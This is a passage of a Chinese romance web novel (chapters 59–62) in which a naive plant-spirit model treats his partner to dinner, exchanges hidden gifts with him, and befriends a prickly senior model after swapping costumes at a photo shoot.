——其实他也是瞧见了其他模特的样子,觉得别人戴墨镜都很帅,便也有样学样地学着买了副墨镜戴上。 “嗯,毕竟难得小朋友主动约的我,我可不能迟到啊。” 段闻洲微微一笑,伸出手替人捋了捋鬓角的碎发。 “嘿嘿,那我们快走吧。” 见他还记得,佘念咧嘴一笑,抱住他的胳膊晃了晃。 今晚上,是佘念主动约段闻洲吃饭,并且由他来请客的。 ——因为他记得之前自己承诺过的,要是有钱了,就要请老公吃最贵的最好吃的东西。 而今天,他挣到了工作后的第一笔钱,所以他第一时间订好了餐厅,摩拳擦掌要请人吃饭。 “那今晚,我可就全听小朋友的安排了。” 两人来到地下停车场后,段闻洲按照佘念的指示,一路开车来到了目的地。 这是市中心最高楼顶层的一处空中餐厅,在当地很有名,消费水平也不低。 只不过,段闻洲隐约记得,这家餐厅似乎是当地情侣热门约会餐厅排名的第一? 不过看佘念什么也没说,他便也没问,担心是自己误会了。 “哇,这个角度好漂亮呀。” 两人在靠窗的位置坐下,由于餐厅所处的楼层为顶层,又是在市中心,所以视野极佳,从这里可以俯瞰整个A市的夜景。 夜幕笼罩着整座城市,星光灿烂,地面依然热闹,并未因夜色降临而有所冷清。川流不息的车灯汇集成一条流动的星河,与高楼大厦的霓虹灯交相辉映,共同成为夜间的点缀。 宛如落入凡间的银河,染上了人世间的烟火气,由冷色调变成了暖色调。 璀璨的夜景将佘念完全吸引住了,他趴在落地窗上,几乎整张脸都贴在了玻璃上。 “老公你快看——” 这样的美景,还不忘招呼段闻洲一块看。 “嗯,这个角度是很漂亮,难怪这个餐厅那么热门。” 而段闻洲也不扫兴,特意走到人的身边,与其一同欣赏着景色。 如果说刚刚还猜测小朋友不知道这里是约会圣地的话,那么当菜品端上来后,段闻洲又一次陷入了怀疑。 怎么定的是情侣套餐? 看着服务员在上菜前捧上的一束鲜花,还有专人提供的小提琴表演,他沉默了。 悠扬的小提琴曲缓缓流淌出,和缓温柔的调子充满浪漫气息,与朦胧暧昧的头顶灯光互相衬托,仿佛满屋都盈满了罗曼蒂克。 而实际上,佘念还真不知道这个餐厅和套餐的独特意义。 因为他今晚的安排很简单,就跟暴发户似的,哪个贵就选哪个。 ——难得赚了钱,当然要请老公吃最好的,而最贵的一定是最好的! 恰好,这个餐厅里最贵的,就是豪华版的情侣套餐,附赠鲜花和小提琴服务。 “这个花送给你。” 等小提琴演奏完后,佘念将那一大束花递到段闻洲的跟前,示意他收下。 说起来,第一次和段闻洲见面时,当时自己还不懂人类社会,误以为他送的花是在性骚扰,还闹了误会和笑话。 后来他才知道,原来人类送花是为了表达自己的情感,或祝福,或喜欢,所以他便想着也给段闻洲送一束花。 “谢谢。” 看着面前的一大捧玫瑰,段闻洲怔愣接过,好半天都没放下。 直到服务员把菜都上齐了,他才回过神来,忙将手中的花放至一旁。 “好吃吗?” 看着段闻洲夹了一口菜吃下后,佘念眨巴着眼,期待着人的答复。 “好吃。” 对视上人明亮的眸子,段闻洲的眼底闪过笑意,柔声回答。 “那就好。” 闻言,佘念这才放下心来,脸上的笑意更甚。 “对啦老公,这个给你。” 差点忘了这件事,他反身拿出下午买的那个黑色纸袋,推到人的跟前。 “这是什么?” “这是我给你买的礼物。” 当时也说过的呀,赚到钱了也要给老公买礼物的! 第59章 花自己钱买的礼物, 和刷段闻洲卡买的礼物,佘念当然知道这两者的含义不一样,所以他才会用自己挣的钱专门给人买了份新礼物。 “给我的, 礼物?” 看着跟前的黑色纸袋, 段闻洲缓慢地眨了一下眼, 似乎有些难以置信。 没想到小朋友今晚居然准备了这么多惊喜,又是空中餐厅, 又是礼物的。 “对呀,特意给你买的, 快打开看看。” 闻言,佘念忙不迭地点头, 眼睛一眨不眨地盯着人看, 不放过他的每一个反应。 于是段闻洲打开纸袋, 把里面放的东西拿了出来。 只见袋子里装着的, 是一条领带。 “领带?” 没想到会是这么实用又贴切的礼物,段闻洲好奇地将其拿出,仔细打量。 “嗯呐, 你喜欢吗?” 见状, 佘念小心翼翼地问道,有些紧张。 那是一条墨绿色的领带, 布料泛着低调的光泽, 隐约可见上面的暗纹,透露出奢华的气息,一看就价值不菲, 很适合段闻洲这样的商务人士,既成熟又百搭。 “谢谢,我很喜欢。” 将领带小心地放在手心里, 珍重地抚摸,段闻洲锋利的眉眼柔和了不少,目光里满是温柔,嘴角噙着淡淡的笑意。 “可以帮我戴上吗?” 说着,他将领带递到佘念的手中,弯了弯眼睛,问道。 “当然。” 今下午特意学过的,佘念骄傲地仰起头,转而坐到了段闻洲的身边。 只见他接过那条领带,小心地搭在人的脖子上,然后认真地回忆起今天学过的步骤,一步步地打着结。 在摸索之中,一个温莎结成型。 虽然并不完美,稍显松垮,但对于第一次给他人打领带的佘念来说,已经算是不错了。 “我很喜欢,谢谢你。” 低头看了看胸前的领带,段闻洲温柔地抬手摸了摸小朋友的发顶,把原来的那条领带叠好放进纸袋中,直接戴上了这条。 “你喜欢就好,本来我还担心你不喜欢呢。” 得到人肯定的答复,佘念的脸上露出一个灿烂的笑,喜悦之情溢于言表。 “你送什么,我都会喜欢的。” 段闻洲微微垂眸,轻声道。 玻璃杯相碰,发出清脆的声响,内里的液体沿着杯壁轻轻摇晃,头顶射灯打下,光线均匀柔和,只笼罩住这一小方天地。 此时此刻,仿佛周围的事物都被隔绝,世界上只剩下彼此,这双眼也只能看见彼此。 从表面来看,今晚简直是一场完美的约会。 如果忽略掉两人并不是真正的情侣的话。 ———— 自从我们小蛇舌草感受到赚钱和花钱的乐趣后,便停不下来了,开始变着花样地给段闻洲送礼物。 甚至还开始玩起了一个漂流瓶游戏。 所谓的漂流瓶游戏,就是在家中不同角落藏上给人准备的礼物,制造惊喜,期待人自己去探索去发现。 “老公,等一下——” 这天早上,佘念见段闻洲准备出门上班了,便打着哈欠从床上起来,踩着拖鞋走到人跟前。 “怎么了?” 正站在门口穿外套的段闻洲见他过来了,便停下脚步看来。 “弯一下腰。” 只见佘念踮起脚尖,抬手主动替人打着领带。 随着他熟练的动作,手指翻飞间,一个漂亮的领结成型。 ——一看就极其熟练,已经替人打过很多次,不是第一次做了。 “路上小心噢。” 又亲了亲人的脸颊,佘念才乖巧地挥手同人道别。 “好。” 对这样的举动已经是习以为常,段闻洲勾了勾唇,用宽大的手背轻轻蹭了蹭人柔软的脸蛋。 乘坐电梯下至停车场时,他往西装口袋里掏钥匙,却摸到了异样的触感。 他拿出来一看,意外地发现了一个小方盒子。 看来这次,小朋友把漂流瓶礼物放到自己的口袋里了。 想到这,段闻洲眼底的笑几乎收不住,眉眼带笑地将盒子打开。 只见盒子里放着的,正是一枚翡翠色的袖扣,其颜色与当初自己送给的佘念的胸针格外相似。 看清楚礼物后,他眉眼间的笑更加溢于言表。 而脸上的笑意还未消退,当他上车坐在驾驶座时,方向盘下面又有一个袋子。 原来还有一个。 也不知小朋友是什么时候将这些礼物准备好的。 只觉心底一软,温暖的暖流缓缓淌过心房,段闻洲打开袋子,拿出了放在里面的钥匙扣礼物。 小朋友的漂流瓶游戏,处处藏满惊喜。 明明是漂流瓶以缓慢速度沿河飘来的,却有着乘风破浪的内敛力量,能够越过一切,直达内心深处最柔软的地方。 他眉眼柔和,攥紧了掌心的钥匙扣,同时也在心底思索,不知等会小朋友发现了自己的礼物后,会是什么反应呢? 房间中,佘念打着哈欠,本想继续补觉,但这会又没了睡意,便准备起床洗漱。 他一拉开衣柜门想拿衣服,却意外地在其中看到一个巨大的玩偶。 玩偶是仙人掌的造型,几乎有半人高,绿油油的,可爱逼真,摸起来手感比云朵还要柔软,让每一个瞧见的人都忍不住想把脸埋在其上猛吸一口。 当然,佘念也确实是这么做的。 ——好大好软,好喜欢。 他的脑袋猛地蹭了蹭,整个人仿佛陷入柔软的云端中。 这个玩偶之前他就在网上看中了,只不过很难买,一直没货所以作罢,没想到老公想办法给自己买到了。 开心得嘴角一直没弯下来,佘念对玩偶爱不释手,走到哪抱到哪,哪怕坐在餐桌前吃饭都还要分一只手出来搂着。 今天没工作,所以他不用出门,当他倒在沙发上躺着时,一拿过靠枕垫腰,就发现枕头后有放着一个小方盒子。 ——一看就知道,也是礼物。 因为段闻洲猜到他一定会拿沙发上的靠枕躺着,所以才专门藏在这里。 脸上的笑容愈发灿烂,佘念乐滋滋地打开盒子,发现里面放着的是一副墨镜。 或许是见小朋友最近爱戴墨镜,所以段闻洲才特意给人又买了一副新的。 两个礼物都喜欢—— 就这样,佘念左手搂着娃娃,右手拿着墨镜,兴奋得在沙发上来回翻滚着,脚丫子不停扑腾,内心的喜悦溢于言表。 虽然是一场幼稚又日常的小游戏,但只要有人陪着进行,那便充满温馨,会成为一段难忘又珍贵的回忆。 ———— “老公~” 伴随着一阵欢快如清脆风铃的声音,办公室的门被直接推了开来。 ——会有着这样的嗓音,而且能够不敲门就直接进总裁办公室的,只有一人。 听见动静,段闻洲没有抬头,但嘴角已经翘起。 “我来啦~” 只见佘念从门外探出头来,脚步轻快地哒哒哒走进。 “忙完拍摄了?” 见人来了,段闻洲弯了弯眉眼,起身给人倒了一杯水。 不过这时他才发现,今天的佘念好像和平常不太一样。 但是具体哪不一样,他说不上来,因为佘念这会又带着墨镜又带着帽子,把自己遮得严严实实的。 “给你看个好东西。” 而佘念并没有急着喝水,他接过水杯放在桌面上,然后脱掉了自己的帽子墨镜。 随着帽子的摘下,毛绒绒的头顶暴露,但不同于以往漆黑的发色,此时露出来的居然是一头亮眼的粉发。 “你染头发了?” 见状,段闻洲微微诧异。 “是呀,今天的拍摄做了个新造型,所以他们帮我把头发给染了一下。” 佘念指了指自己的脑袋,眨动着眼,看起来似乎对新造型非常满意。 “好看吗?” “好看。” 目光完全被那一片粉色捕获,段闻洲并不会认为这样夸张的颜色离经叛道,反而觉得很配佘念。 都说粉色显白,本就皮肤白皙的佘念被这一头粉发衬托着,脸蛋更是显得白里透红,像个瓷娃娃一样白嫩乖巧。 “这个颜色很称你,很好看。” 情不自禁地,段闻洲抬手,捧起了人的一小缕发丝。 “还有其他想尝试的发色吗?不过也要注意一下,烫染多了容易伤发质。” 毕竟进了娱乐圈,不可避免地要接触到时尚潮流,但小朋友嘛,多打扮打扮自己也不是什么坏事,这样才有点朝气的模样。 听到他的夸奖,佘念的嘴角快要翘到眼睛底下了。 第一次尝试染发的小蛇舌草精本就新奇得很,听段闻洲这么一问,便眼珠子转了转思索起来。 再尝试一下别的发色吗…… 忽然间,他灵光一闪,想到了合适的答案。 只见他两眼冒光,一脸认真地道: “那我想把这玩意染成绿的!” 植物就该有植物的样子嘛,绿油油的多健康多好看,把头发染成绿色的多合适。 听见这话的段闻洲:……? 不,这不合适。 “咳,那个,绿色最好还是不要。” 听见如此惊世骇俗的回答,段闻洲尴尬地咳了一声,连忙劝住人。 “就这个粉色的吧,很好看。” “好吧。” 虽然不明白为什么绿色的不行,但是既然老公都这么说了,觉得粉色好看,那就先继续染粉色的头发好啦。 ———— “佘念,别忘了明天你还有一个杂志封面的拍摄工作。” 下班时,经纪人孙哥提醒道。 就在佘念应好准备下车时,孙哥忽然又想起来什么,顿了顿后补充道: “明天你是要和阮晨合作拍双人封面,咳他那人不是很好相处,到时你稍微包容一下。” 毕竟阮晨那人,能力强的同时要求也高,说话还毒舌,就怕他嘴上一个不留情,把场面给闹僵。 “嗯我知道的。” 对此佘念点头应下,表示一切好说。 不过当第二天,对视上阮晨那双不屑的视线时,他发现这人果然还是太难相处了。 “那个,你好。” 犹豫了几秒后,佘念试探着抬起手,主动对人打了打招呼。 而阮晨一句话也没说,只是随意地扫了他一眼,鼻尖哼了哼,然后就一言不发地掉头进了试衣间。 好冷漠啊。 佘念讪讪地收回手,但没放在心上,转身也去了自己的化妆间。 第60章 今天拍摄的内容, 依然是杂志的动物系列主题封面,不过这次是双人封面,将由佘念和阮晨合作拍摄。 这期的主题是双人, 佘念分配到的角色还是黑色猫咪, 而阮晨则是扮演小狗。 猫咪依然是黑色背心加短裤的造型, 或许是受上一次杂志热销的影响,所以合作方给佘念安排的扮相和上次一模一样, 以便于延续热度,刺激销量。 来到摄影现场, 摄影师和其他工作人员已经在等候,但是阮晨却还没到。 “阮老师还在化妆, 不好意思几位老师, 麻烦您们再等一下。” 见状, 他的助手上前歉意地解释道。 “好的没关系。” 也就晚一点开工的事, 佘念没有在意,权当休息一下。 不过奇怪的是,左等右等, 快半小时过去了还没见阮晨从化妆间出来, 就连摄影师都没忍住皱了皱眉。 “这阮晨也不是不守时的人啊,什么情况?” 就连经纪人孙哥都没忍住嘀咕, 猜测道。 “他不会故意在给你下马威吧?” 闻言, 佘念也不清楚,只是摇了摇头。 终于,又过了十五分钟, 阮晨终于从化妆间里走了出来 。 “真的真的非常对不起,阮老师这套妆造遇到了点问题,所以耽误时间了。” 与其一块出来的, 还有化妆师和造型师,她俩双手合十,十分抱歉地说。 “抱歉,是我的原因耽误拍摄了。” 阮晨也对现场的大家躬了躬身,主动道歉。 “没关系,现在就抓紧时间,赶快开始。” 见不是故意的,摄影师便也没说什么,不再耽搁,立刻让两人在棚子里摆好动作,准备开拍。 当两人在一块站好时,佘念眨了眨眼,没忍住偏头端详了一番阮晨的扮相。 怎么看,他都觉得有一点奇怪。 倒不是很丑的那种奇怪,就是觉得好像有几分违和。 直白点说的话,就是阮晨似乎并不适合这个形象。 两人今天走的都是可爱风格,虽然说佘念这身也足够性感,但硬生生被他穿成了纯欲可爱风。 而阮晨就不一样了,很明显不太能驾驭这种可爱风。 因为他是下垂眼,眼白多,抿唇时面无表情就显得冷硬,是典型高岭之花的气质,这种拒人千里之外的形象,和毛绒绒的棕色小狗设定实在是差太远了。 显然化妆师也已经尽力,想要在妆面上让其贴合设定了,但不管怎么化,还是不能完全改变气质,违和感依然存在。 “你——” 佘念欲言又止,不知该怎么提这事。 “看什么看,专心拍摄。” 注意到他的目光,阮晨拧眉,语气有点严厉地呵斥说。 “噢……” 莫名被凶了的佘念扁嘴,索性不说话了。 显而易见,拍摄过程不太顺利,摄影师拍了好几十张照片,一小时下来,都选不出一张满意的。 “抱歉阮老师,麻烦您的眼神不要这么凶,稍微舒展开一点试试。” “好的。” “嗯……阮老师您要不休息一会?找一下状态我们再继续?” 不管怎么调整,似乎都有几分不对劲,摄影师犹豫片刻,决定先中场休息。 “不好意思,我耽误进度了。” 听出人话里的意思,阮晨知道是自己影响了进度,十分抱歉。虽然他也在努力配合,但就是达不到想要的效果。 “看来阮晨今天不在状态,拍摄非常不顺利啊。” 看着人去休息的背影,经纪人孙哥摩挲着下巴,自言自语道。 而佘念则是一副若有所思的模样,思索片刻后,还是选择大步追了上去。 “诶你去哪?” 见状,孙哥诧异地问,但并没有得到步履匆匆某人的回答。 重新回到化妆间后,阮晨的随行助理犹豫开口: “那个,阮老师,您不跟他们说一下吗,这套服装和造型好像不太适合您?” “说了有什么用,你觉得人家会临时给我换造型,还是会临时给我换角色?” 阮晨捏了捏眉心,也十分头疼。 他并非故意耽误进度,也想处理好每一项工作,但是面对眼下的情况,着实有些束手无策了。 本来,这次的工作经纪人是建议他不要接的,因为和一贯风格差距太大,可阮晨想突破一下自己的舒适圈,便还是接了下来,但没想到遭遇了重大滑铁卢。 ——事实证明,他还是扮不了可爱。 “让化妆师再来帮我调整一下妆面试试吧。” 他不由得叹了口气,话音刚落,休息室的门却被敲了敲。 “你好我是佘念,我可以进来吗?” 没想到门外传来的是佘念的声音。 “请问有什么事吗?” 闻言,助理上前开门,而佘念简单地同她打了招呼后,就直接走了进来,来到了阮晨身边。 他直奔主题地道: “这个狗狗的造型不适合你,要不我俩换一下吧。” “我俩,换?” 听见他的话,阮晨仿佛见了鬼似的,狐疑地打量起对面的人。 “是啊,你可以试试我这身,猫咪这套应该会更贴合你的风格。” 就连佘念都看出来了,阮晨其实更适合哪种风格。 而自己身上的黑色猫咪服装,或许穿在他身上会有另一种风味。 “你确定?” 确认佘念不是在开玩笑后,阮晨严肃起来,脸上的不解更深了。 毕竟,佘念已经靠这套造型火了一把,在流量面前,他居然会舍得放弃这个造型吗? “当然,都是为了拍摄呀,你先换上我这套试试吧。” 说着,他便准备把身上的衣服脱下和人交换。 不过刚把衣摆向上掀起一小截来,他就想起来之前段闻洲叮嘱自己的事。 ——不要随便在别人面前脱衣服。 于是佘念讪讪停下动作,掉头跑去试衣间,换上原来的衣服后,才把脱下的猫咪服装交到阮晨手中。 还不忘催人赶快去换上。 看着手中的衣服,阮晨抿唇陷入沉思。 理论上来说,这身衣服的风格确实更适合自己,可为什么佘念要这么做?这样能对他有什么好处? 说是为了拍摄,可他一个走后门又有资源的新人,会有这种觉悟吗? “这……阮老师您看?” 就连助理都欲言又止,瞧了瞧佘念,又看了看自己老板。 “快去呀,不然拍不完就不能按时下班了。” 见人没动作,佘念又提醒道。 “好,谢谢。” 犹豫了一会后,阮晨还是答应了,点点头拿上衣服进了试衣间。 果然,两人一互换衣服,效果立刻就不一样了。 只见阮晨身穿黑色的深v背心,还特意脱掉了外套,显得性感又神秘,配上他的下垂眼,只轻轻抬眼望来,就充满诱惑力,比起家养黑猫,更像一只小野猫,会对靠近的人亮起锋利爪子。 而佘念则是摇粒绒的棕色装扮,头顶耷拉着一对棕色折耳,一双圆润的杏眼又大又亮,睁得圆溜溜的,眸子表面被水雾覆盖,看上去湿漉漉的,无辜懵懂中透露着可爱,像是谁都能撸的黏人小狗。 这么一换,味道就对了。 “阮老师,这样确实很合适。” 一旁的助理忍不住感慨道。 而阮晨看了看镜子里的自己,对她的评价不置可否。 “是吧是吧,这样就对了,那走吧我们快去找摄影师。” 扭着身看了看,确认没有其他的问题后,佘念满意地双手叉腰,然后拉住阮晨的手,想要带他出去。 当两人一齐出现在摄影师跟前时,摄影师同样也是眼前一亮,摸着下巴不停打量着他们。 “诶这是你俩谁的提议?这样好像是比最开始和谐很多。” 他不由得感慨道。 “是我。” 闻言,佘念嘿嘿笑着举手。 “哈哈真的吗,没想到你俩是不同风格的小猫咪。” 摄影师哈哈一笑,随即招呼两人赶快过来,抓紧进度完成工作。 比起上半场的举步维艰,下半场的拍摄进行得格外顺利,很快就完成了工作。 “收工下班——” 终于结束了今天的所有工作,佘念伸了个大大的懒腰。 “真没想到你会主动提议换造型。” 就连孙哥也很意外,直到拍摄结束了才向人询问。 “嘿嘿,因为很明显他不适合嘛,我就想着换一下。” 佘念摸了摸后脑勺,笑着回答。 就在他们准备离开摄影棚时,忽然听见身后阮晨的声音传来: “佘念,等会有空吗,要不要去旁边的咖啡馆坐一坐?” 面对邀请,佘念下意识看了一眼孙哥,在得到人点头的肯定后,才答道: “好啊。” ———— 此时的咖啡馆客人很少,两人在角落的一处位置坐下。 “其实我很好奇,你为什么要和我换造型?” 阮晨低头抿了一口黑咖啡,低声问。 “很简单啊,因为你更适合那个造型。” 多么显而易见,佘念眨了眨眼回答。 “你不会觉得可惜吗?毕竟你的猫咪造型是大火过的,继续以这个模样出镜的话,能更好积累你的人气。” “不可惜啊,因为这样子换一换,拍摄的效果才会更好。” 小蛇舌草精不在乎名气,只在乎工作能不能好好完成。 “像你后台这么硬的新人,难道不是奔着出名来的吗?” 还是一贯不客气的说话风格,阮晨开门见山。 “后台?什么后台?” 这下佘念更不解了。 “祁宁难道没有给你提供过资源?” 阮晨之前调查过,知道佘念进公司是祁宁一手操持的,两人关系匪浅。 “他没有给过哇,再说给我也不会要。” 就连老公给的资源都没要过呢,更别说祁宁了。 “为什么?” “因为没有必要,我只是喜欢当模特而已,所以拍什么都可以,我老公之前也说过要让我去拍什么,但是我都拒绝了。” “等、等等,你老公?那你和祁宁什么关系?” “啊?我们没关系呀,他是我老公的朋友,也是我的朋友,嗯……严格来说现在他是我老板?” 等会,好像有哪里不太对劲? 隐约意识到自己好像误解了什么,阮晨喉间一梗,开始捋起现状。 一开始他以为,佘念是拿祁宁当靠山,只追求名气不顾其他的新人,可如今来看,似乎并不是这样。 自己好像误会人家了。 60-70 第61章 既没有滥要资源, 也没有目中无人,甚至表现力和专业度也很不错。 大概这就是人不可貌相,看上去懵懂无知的佘念, 实际上在当模特上方面很有天赋。 而且或许是种直觉, 阮晨能感觉到佘念很真诚, 这样一个新人,应该不是那种靠后台靠资本的家伙。 捋清楚现状后, 他忽然愧疚起来,为自己先入为主的判断感到抱歉。 特别是想到自己最开始对人说的那些话, 他就更加不好意思起来。 “咳,那个……” 阮晨尴尬地清了清嗓子, 耳朵根偷偷爬满了绯红, 正想同人把话说开时, 佘念的手机却突然响了起来。 “……老公你来接我吗?啊你已经到了?等一下我马上就出来!” 电话是段闻洲打来的, 他恰好下班路过这边,便想着顺道接小朋友下班。 “不好意思呀阮老师,我老公来接我了, 我得先走了, 我们下次再聊呀。” 挂断电话后,佘念歉意地一笑。 “没关系, 你先走吧……哦等一下, 你打包两块巴斯克吧,这里的蛋糕很有名的。” 见人要先一步离开,阮晨只好先咽下了本来想说的话, 微微颔首,去前台替人打包了两份蛋糕,算是不动声色的道歉。 “谢谢你, 有机会下次我请你吃饭。” 丝毫不知对面人内心的复杂心情,看着手里的蛋糕,佘念哇了一声。 他不由得心想,看来这位前辈也没传说中那么难相处嘛。 上车后,他嘿嘿笑着把其中一个蛋糕举到段闻洲的跟前,晃了晃: “老公,分你一个蛋糕。” “你买的?” 见状,段闻洲笑了笑接过。 “不是,是别人送我的。” 而佘念摇了摇头。 “别人?朋友吗?” 难道交到新朋友了吗?段闻洲挑眉。 “唔……应该不是吧,是一个前辈,听孙哥说他在模特界好厉害的。” 现在的关系应该不算是朋友吧,佘念拧起眉头思索了一番。 “听说他又是平面模特,又是T台模特,什么都会,拿过好多奖项的。” “那我相信以后你也能追上人家的步伐,也能拿很多奖项,等到那天我就上台去给你送花。” 闻言,段闻洲笑着打趣。 “好呀!那就一言为定!” 倒不是对奖项多感兴趣,主要是想让老公给自己上台送花,佘念高兴地wink一下。 “来老公,你尝尝这个蛋糕,啊——” “嗯,味道确实不错,你自己也吃一口。” ———— “佘老师,表情不太对,再深沉一点。” “这个姿势再扭一下,不对错了,是往这个方向。” “再换个动作看看。” 这天,阮晨结束工作正准备离开时,意外地发现居然又遇见了佘念。 这么巧? 于是他停下脚步,索性再留了一会。 当看清今天佘念合作的摄影师时,阮晨微微诧异。 他认得那个摄影师,名叫Lisa,是业内很有名的摄影大拿,成片有极强的个人风格,辨识度极高,拍摄水平也很强,很多模特都期望能与其合作。 但是较为麻烦的一点是,由于要求极高,平日里温和的Lisa摄影师,在进入工作状态后会判若两人,除了会在成片上格外追求完美外,她还会一脸严肃地进行工作,毫不客气地提出各种修改要求。 换句话来说,就是工作时的Lisa极难相处,在各种细节上力争完美,又冷着一张脸,说话也很吓人。 很多模特在与其合作的过程中,都会忍受不住她的吹毛求疵,面露不虞的很多,当场吵架的也不是没有。 可阮晨看了半天,竟然都没在佘家的脸上瞧见不耐烦的神色。 拍摄的进程显然被延后了很久,一眼看不到结束的点,但即使如此,佘念也还是很有耐心。 不管是要不停调整表情,还是每个动作都要拍很久改很多遍,他都依然积极配合,半分不悦之色都没有。 哪怕在拍摄结束后,脸上还漾着真挚的笑冲摄影师道谢。 曾经和这位摄影师合作过,就连阮晨自己当时都快被人的强迫症给逼疯,所以他知道佘念的反应有多难得。 足可见其的专业性,以及性格的温润。 其实就连孙哥也很意外,刚刚看着摄影师不停地喊重来,他都担心佘念会不会受不了,甚至已经设想了佘念搬来段总或祁总当救兵的画面了。 没想到自家艺人,都最后都还是好脾气,温顺地拍完了广告。 “那谢谢您了,今天就到这里。” 佘念对摄影师Lisa道。 “好,今天辛苦你了,这套图我很满意,相信成图一定会很惊艳的。” 结束工作状态的Lisa也温和起来了,她十分满意地拍了拍佘念的肩膀,面露微笑道。 “佘老师,我相信您以后一定大有可为。” “嘿嘿真的吗,那借您吉言。” 闻言,佘念咧嘴一笑。 就在工作结束,他准备跟经纪人孙哥一块离开时,阮晨出声喊道,对人招了招手: “佘念。” “诶阮老师,您也在这?” 见是他,佘念还有些惊讶。 “中午有空吗,要不要一起吃个饭?” 阮晨邀请道。 “好啊,那孙哥你先去忙吧,等会我自己回去就行。” “行,有事你再联系我。” 和阮晨这样的前辈多接触不是什么坏事,所以孙哥没有阻拦,先一步离开。 两人来到附近一家私房菜馆,一坐下,佘念就掏出手机给段闻洲发消息: 【佘念:老公,我不回去吃饭啦,中午在外面和别人约了】 而对面很快给了回复。 【段闻洲:好,是和朋友一起吃饭吗?】 【佘念:不是哦,是上次说的那位前辈】 “你随便点,想吃什么就点什么菜。” 说着,阮晨将菜单推了过来。 等到菜上齐后,阮晨一边吃,一边佯装随意地开口: “Lisa老师是不是很严格?” “对的,她要求很高,从表情到动作,每一个弧度都必须完美达标才行。” 佘念点点头,赞同道。 “你不会觉得烦吗?按你的身份来说,要换摄影师轻轻松松吧?” “啊?为什么要换?Lisa老师她拍得很好啊。” 这下他不解起来,歪了歪脑袋。 “是很好,但是大部分人都忍受不了她吹毛求疵的要求吧。” 几乎没有一个娇生惯养的大小姐大少爷,能在Lisa手上拍出一套完整的片子,因为都会被骂得狗血淋头,然后灰头土脸地走掉。 “这没什么呀,都是为了把工作做得更好而已,更何况我能从中学到很多东西。” 高标准意味着高压,但也能快速掌握很多新知识,因此佘念并不在意。 “Lisa老师严格,但是这样能让成片效果更好,而且她凶的点也不是针对我,只是为了工作,所以没必要往心里去。” 没想到他还挺看得开,不是那种娇气的玩票小少爷,确实是以工作为重的人。 听见他的回答,阮晨若有所思。 看来自己之前真的误会他了。 这么一个气质佳外形好,学习能力强,表现力也不差的新人,前途无量。 于是乎,阮晨低头抿了一口水,摊开话来缓缓道: “说起来,我还要跟你说一声抱歉,第一次见面时我对你有所误会,因为你是拿模特当娱乐的资源咖,所以态度才那么差。” 诶,原来是这样吗,难怪当时他说的话那么奇怪。 恍然大悟的佘念这才明白过来。 “对不起,当时是我自以为是了,把话说太难听了。” “没关系,我接受你的道歉。” 说着,他咧嘴一笑,对人伸出了手。 “谢谢。” 看着面前伸来的手,阮晨先是愣了愣,随即露出一个释然的笑,回握住。 这就算是握手言和了。 “那我们现在算是朋友了吗?” 缓慢地眨了眨眼,佘念轻声问道。 “朋友?” 听见这个词,阮晨先是沉默片刻,随即低声重复了一遍。 如果换做是其他人这么说,他只会觉得那人是另有所图在攀关系,自己才不会搭理,但不知为何,这话从佘念口中说出,却丝毫不会让人认为反感,只会觉得很诚恳。 或许是因为佘念双眸清澈,神情天真,心思都写在脸上,并不是那种会趋炎附势的人。 “你确定我们是朋友吗?别忘了在段氏名下的xx品牌代言人上,我们可是竞争对手。” 两人都参加了该品牌的代言人选拔,换句话来说,他们其实是竞争对手。 闻言,佘念神情呆滞一秒,大脑又运转思索一会后,紧接着才恍然大悟。 瞧见他的表情,阮晨嘴角扯出一抹自嘲的笑,还以为他要和自己划清界限了。 可没想到,佘念说的却是: “既然如此,那我也会加油的,我会努力不落后于你,争取做一个合格的对手。” 听见他的话,这下怔愣的轮到了阮晨。 ——在听见两人是竞争对手后,佘念不仅不会敌视自己,还表示会加油不被比下去。 很难得,又很可爱的反应,也是值得肯定的竞技精神。 于是,阮晨脸上的笑意深入眼底,弯了弯眼睛,说道: “好,那就公平竞争,看我们谁能拿下这个代言人。” 吃饭的间隙里,阮晨忽然主动提道: “说起来,按照Lisa老师的习惯,估计过两天还会找你再补拍几张照片的,到时候我陪你去现场,教你一些拍摄的小技巧。” “好呀,那太谢谢你了!” 能得到阮晨的指点,那可是花多大价钱都买不到的,佘念忙不迭点头表示感谢。 “那我们现在是不是就算朋友了呀?” “你想这么认为的话,那就是好了……” 似乎是有些不好意思,阮晨红了红耳根,轻咳一声道。 自动将这话理解成肯定的答复,佘念笑着,抽空给段闻洲发了一条消息: 【佘念:老公,现在是朋友啦ww】 ——刚刚还是前辈,但现在已经是交到的新朋友啦。 看见消息,得知小朋友终于交到了新朋友,段闻洲会心一笑。 ———— “那我就回去啦,下次我再请你吃饭。” 饭后,两人走出饭店,佘念冲人挥手,刚准备打电话让司机来接自己,阮晨却拦下了他的动作。 “我顺路送你回去就行了,反正我开了车来的。” 他说道。 “这样会不会太麻烦你了?” “有什么麻烦的,不过时间还早,这么急着回去做什么,走,我带你去逛逛。” 说着,阮晨揽住佘念的肩,不由分说带人上了车。 汽车扬长而去,直奔商场的方向。 第62章 “怎么还没回家?” 别墅中, 段闻洲看了看时间,估摸着佘念应该已经吃完饭了,怎么这个点还没到家。 ——由于这几天市中心的大平层在装修, 要将一间房改造成形体房, 以供佘念平常在家练习, 所以这段时间两人搬到来郊区别墅这边来住了。 但没想到入住第一天,小朋友就又有工作又有聚餐的, 倒把他一个孤家寡人扔在家了。 扔在家就算了,还这个点都没回来, 不会连晚饭都不打算回家吃了吧? 就在段闻洲准备打个电话问问时,院子外忽然传来了汽车驶入的声音。 回来了? 他挑眉, 走出屋子准备去接小朋友。 没想到一走出花园, 就看到了一副让他震惊的画面。 ——只见一辆骚包的敞篷跑车停在院子外面, 后座堆满了购物纸袋, 一看就是刚血拼回来。 而前排则坐着两人,两颗毛绒绒的脑袋各有各的颜色,一个粉的, 一个雾蓝的。 并且都整齐地带着墨镜。 见段闻洲走出, 两个脑袋抿着嘴唇,缓缓扭头, 齐刷刷地向他的方向看来。 段闻洲:……? 这是什么情况, 看上去不像小朋友回家,倒更像是有人来砸场子。 不过很快,小朋友就恢复了平常的样子。 只见佘念将墨镜拉至头顶, 亮晶晶的眼眸露了出来,还是一如既往地清澈明亮。 在看见段闻洲后,方才还面无表情的他, 脸上倏地绽放出一个灿烂的笑,身边好似冒着小花,一双眼睛睁得溜圆。 紧接着,他立刻从车上跳下来,两手拎着满满的购物袋扑过来。 “慢一点,别摔了。” 见状,段闻洲稳稳地接住了他,并拿过他手里的所有袋子。 “怎么买这么多东西?” “我和朋友逛街去啦,这些都是买给你的礼物!” 